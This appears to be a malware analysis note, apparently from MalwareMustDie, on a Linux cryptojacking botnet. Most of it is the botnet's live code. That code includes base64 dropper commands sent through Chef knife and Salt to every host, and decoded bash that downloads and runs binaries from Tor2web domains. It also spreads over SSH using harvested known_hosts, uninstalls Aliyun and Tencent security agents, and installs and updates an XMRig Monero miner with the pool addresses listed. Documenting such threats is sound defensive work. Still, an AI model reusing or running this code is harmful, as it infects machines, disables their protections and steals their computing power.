knife ssh 'name:*' 'echo ZXhlYyAmPi9kZXYvbnVsbApleHBvcnQgUEFUSD0kUEFUSDovYmluOi9zYmluOi91c3IvYmluOi91c3Ivc2JpbjovdXNyL2xvY2FsL2JpbjovdXNyL2xvY2FsL3NiaW4KeCgpIHsKZj0vaW50LiQodW5hbWUgLW0pCmQ9Li8kKGRhdGV8bWQ1c3VtfGN1dCAtZjEgLWQtKQp3Z2V0IC10MSAtVDk5IC1xVS0gLS1uby1jaGVjay1jZXJ0aWZpY2F0ZSAkMSRmIC1PJGQgfHwgY3VybCAtbTk5IC1mc1NMa0EtICQxJGYgLW8kZApjaG1vZCAreCAkZDskZDtybSAtZiAkZAp9CmRpcj0kKGdyZXAgeDokKGlkIC11KTogL2V0Yy9wYXNzd2R8Y3V0IC1kOiAtZjYpCmZvciBpIGluIC91c3IvYmluICRkaXIgL2Rldi9zaG0gL3RtcCAvdmFyL3RtcDtkbyB0b3VjaCAkaS9pICYmIGNkICRpICYmIHJtIC1mIGkgJiYgYnJlYWs7ZG9uZQpmb3IgaCBpbiBkMndlYi5vcmcgb25pb24ubW4gdG9yMndlYi5pbyBvbmlvbi50byBvbmlvbi5pbi5uZXQgNHRvci5tbCBvbmlvbi5nbGFzcyBjaXZpY2xpbmsubmV0d29yayB0b3Iyd2ViLnN1IG9uaW9uLmx5IG9uaW9uLnBldCBvbmlvbi53cwpkbwppZiAhIGxzIC9wcm9jLyQoY2F0IC90bXAvLlgxMS11bml4LzAwfGhlYWQgLW4gMSkvaW87IHRoZW4KeCB0ZW5jZW50eGp5NWtwY2N2LiRoCmVsc2UKYnJlYWsKZmkKZG9uZQo=|base64 -d|bash'
salt '*' cmd.run 'echo ZXhlYyAmPi9kZXYvbnVsbApleHBvcnQgUEFUSD0kUEFUSDovYmluOi9zYmluOi91c3IvYmluOi91c3Ivc2JpbjovdXNyL2xvY2FsL2JpbjovdXNyL2xvY2FsL3NiaW4KeCgpIHsKZj0vaW50LiQodW5hbWUgLW0pCmQ9Li8kKGRhdGV8bWQ1c3VtfGN1dCAtZjEgLWQtKQp3Z2V0IC10MSAtVDk5IC1xVS0gLS1uby1jaGVjay1jZXJ0aWZpY2F0ZSAkMSRmIC1PJGQgfHwgY3VybCAtbTk5IC1mc1NMa0EtICQxJGYgLW8kZApjaG1vZCAreCAkZDskZDtybSAtZiAkZAp9CmRpcj0kKGdyZXAgeDokKGlkIC11KTogL2V0Yy9wYXNzd2R8Y3V0IC1kOiAtZjYpCmZvciBpIGluIC91c3IvYmluICRkaXIgL2Rldi9zaG0gL3RtcCAvdmFyL3RtcDtkbyB0b3VjaCAkaS9pICYmIGNkICRpICYmIHJtIC1mIGkgJiYgYnJlYWs7ZG9uZQpmb3IgaCBpbiBkMndlYi5vcmcgb25pb24ubW4gdG9yMndlYi5pbyBvbmlvbi50byBvbmlvbi5pbi5uZXQgNHRvci5tbCBvbmlvbi5nbGFzcyBjaXZpY2xpbmsubmV0d29yayB0b3Iyd2ViLnN1IG9uaW9uLmx5IG9uaW9uLnBldCBvbmlvbi53cwpkbwppZiAhIGxzIC9wcm9jLyQoY2F0IC90bXAvLlgxMS11bml4LzAwfGhlYWQgLW4gMSkvaW87IHRoZW4KeCB0ZW5jZW50eGp5NWtwY2N2LiRoCmVsc2UKYnJlYWsKZmkKZG9uZQo=|base64 -d|bash'
hosts=$(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" ~/.bash_history /etc/hosts ~/.ssh/known_hosts |grep -v ^127.|awk -F: {'print $2'}|sort|uniq ;awk {'print $1'} $HOME/.ssh/known_hosts|sort|uniq|grep -v =|sort|uniq)
for h in $hosts;do xssh root $h; xssh $USER $h & done
}
vcxz() {
curl -V || apt-get -y install curl || yum -y install curl
wget -V || apt-get -y install wget || yum -y install wget
$w update.aegis.aliyun.com/download/uninstall.sh|bash
$w update.aegis.aliyun.com/download/quartz_uninstall.sh|bash
/usr/local/qcloud/stargate/admin/uninstall.sh
/usr/local/qcloud/YunJing/uninst.sh
/usr/local/qcloud/monitor/barad/admin/uninstall.sh
}
qwer $t.d2web.org || qwer $t.onion.mn || qwer $t.tor2web.io || qwer $t.onion.in.net || qwer $t.onion.to
asdf $t.d2web.org || asdf $t.onion.mn || asdf $t.tor2web.io || asdf $t.onion.in.net || asdf $t.onion.to 
zxcv
vcxz
sysctl -w vm.nr_hugepages=1024

// first part, the second, third, forth internal b64 part:

exec &>/dev/null
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
x() {
f=/int.$(uname -m)
d=./$(date|md5sum|cut -f1 -d-)
wget -t1 -T99 -qU- --no-check-certificate $1$f -O$d || curl -m99 -fsSLkA- $1$f -o$d
chmod +x $d;$d;rm -f $d
}
dir=$(grep x:$(id -u): /etc/passwd|cut -d: -f6)
for i in /usr/bin $dir /dev/shm /tmp /var/tmp;do touch $i/i && cd $i && rm -f i && break;done
for h in d2web.org onion.mn tor2web.io onion.to onion.in.net 4tor.ml onion.glass civiclink.network tor2web.su onion.ly onion.pet onion.ws
do
if ! ls /proc/$(cat /tmp/.X11-unix/00|head -n 1)/io; then
x tencentxjy5kpccv.$h
else
break
fi
done

/////// these last two parts are the mining stuff /////
/////// noted those onions /////

///////// additional 3 - miner installer //////////

exec &>/dev/null
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
x() {
f=/cpu
d=./$(date|md5sum|cut -f1 -d-)
wget -t1 -T99 -qU- --no-check-certificate $1$f -O$d || curl -m99 -fsSLkA- $1$f -o$d
chmod +x $d;$d;rm -f $d
}
dir=$(grep x:$(id -u): /etc/passwd|cut -d: -f6)
for i in $dir /tmp /var/tmp /dev/shm /usr/bin ;do touch $i/i && cd $i && rm -f i && break;done
for h in d2web.org onion.mn onion.in.net onion.to tor2web.io 4tor.ml onion.glass civiclink.network tor2web.su onion.ly onion.pet onion.ws
do
if ! ls /proc/$(cat /tmp/.X11-unix/11|head -n 1)/io; then
x tencentxjy5kpccv.$h
else
break
fi
done

//////// additional 4 - miner update //////////

exec &>/dev/null
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
t=tencentxjy5kpccv
u() {
f=/cmd
wget -t1 -T99 -qU- -O- --no-check-certificate $1$f || curl -m99 -fsSLkA- $1$f
}
(
u $t.d2web.org ||
u $t.onion.mn ||
u $t.tor2web.io ||
u $t.tor2web.to ||
u $t.4tor.ml ||
u $t.onion.in.net ||
u $t.onion.to ||
u $t.onion.glass ||
u $t.civiclink.network ||
u $t.onion.ws
)|bash
(
u $t.onion.to ||
u $t.onion.in.net ||
u $t.civiclink.network ||
u $t.tor2web.io ||
u $t.tor2web.su ||
u $t.tor2web.to ||
u $t.onion.pet ||
u $t.onion.nz ||
u $t.onion.ws
)|bash


////////// miner software used is XmRIG /////

0x1e98d6 6 5 XMRig
0x1e9d5f 7 6 rig-id
0x1e9f10 34 33 Usage: xmrig [OPTIONS]\n\nNetwork:\n
0x1e9f70 84 83   -a, --algo=ALGO               mining algorithm https://xmrig.com/docs/algorithms\n
0x1ea188 94 93       --rig-id=ID               rig identifier for pool-side statistics (needs pool support)\n
0x1ea340 73 72       --donate-over-proxy=N     control donate over xmrig-proxy feature\n
0x1ea920 90 89       --cuda-loader=PATH        path to CUDA plugin (xmrig-cuda.dll or libxmrig-cuda.so)\n
0x1eadd8 43 42 XMRig 5.5.3\n built on Feb 10 2020 with GCC
0x1eaff6 14 13 XMRIG_VERSION
0x1eb004 14 13 XMRIG_EXE_DIR
0x1eb012 10 9 XMRIG_CWD
0x1eb149 18 17 right-parenthesis
0x1eb21d 21 20 right-square-bracket
0x1eb276 20 19 right-curly-bracket
0x1ec321 6 5 rigid
0x1ee496 17 16 libxmrig-cuda.so
0x1eeb3b 20 19 donate.v2.xmrig.com
0x1f3fcd 6 5 xmrig
0x1f5e47 44 43 ignoring non-SCM_RIGHTS ancillary data: %d\n
0x1fd65c 58 57 * If hwloc does not report the right number of packages,\n

// pooled at :

[0x005e9441 [xadvC]0 0% 1152 maiiii]> pss @ entry0+1981998 # 0x5e9441
    "pools": [
        {
            "algo": null,
            "coin": "monero",
            "url": "136.243.90.99:8080",
            "user": "x",
            "pass": "x",
            "rig-id": null,
            "nicehash": true,
            "keepalive": true,
            "enabled": true,
            "tls": false,
            "tls-fingerprint": null,
            "daemon": false,
            "self-select": null
        },
        {
            "algo": null,
            "coin": "monero",
            "url": "101.64.182.145:443",
            "user": "x",
            "pass": "x",
            "rig-id": null,
            "nicehash": true,
            "keepalive": true,
            "enabled": true,
            "tls": false,
            "tls-fingerprint": null,
            "daemon": false,
            "self-select": null
        },
        {
            "algo": null,
            "coin": "monero",
            "url": "222.35.250.117:80",
            "user": "x",
            "pass": "x",
            "rig-id": null,
            "nicehash": true,
            "keepalive": true,
            "enabled": true,
            "tls": false,
            "tls-fingerprint": null,
            "daemon": false,
            "self-select": null
        }

// @unixfreaxjp / malwaremustdie.org (MMD)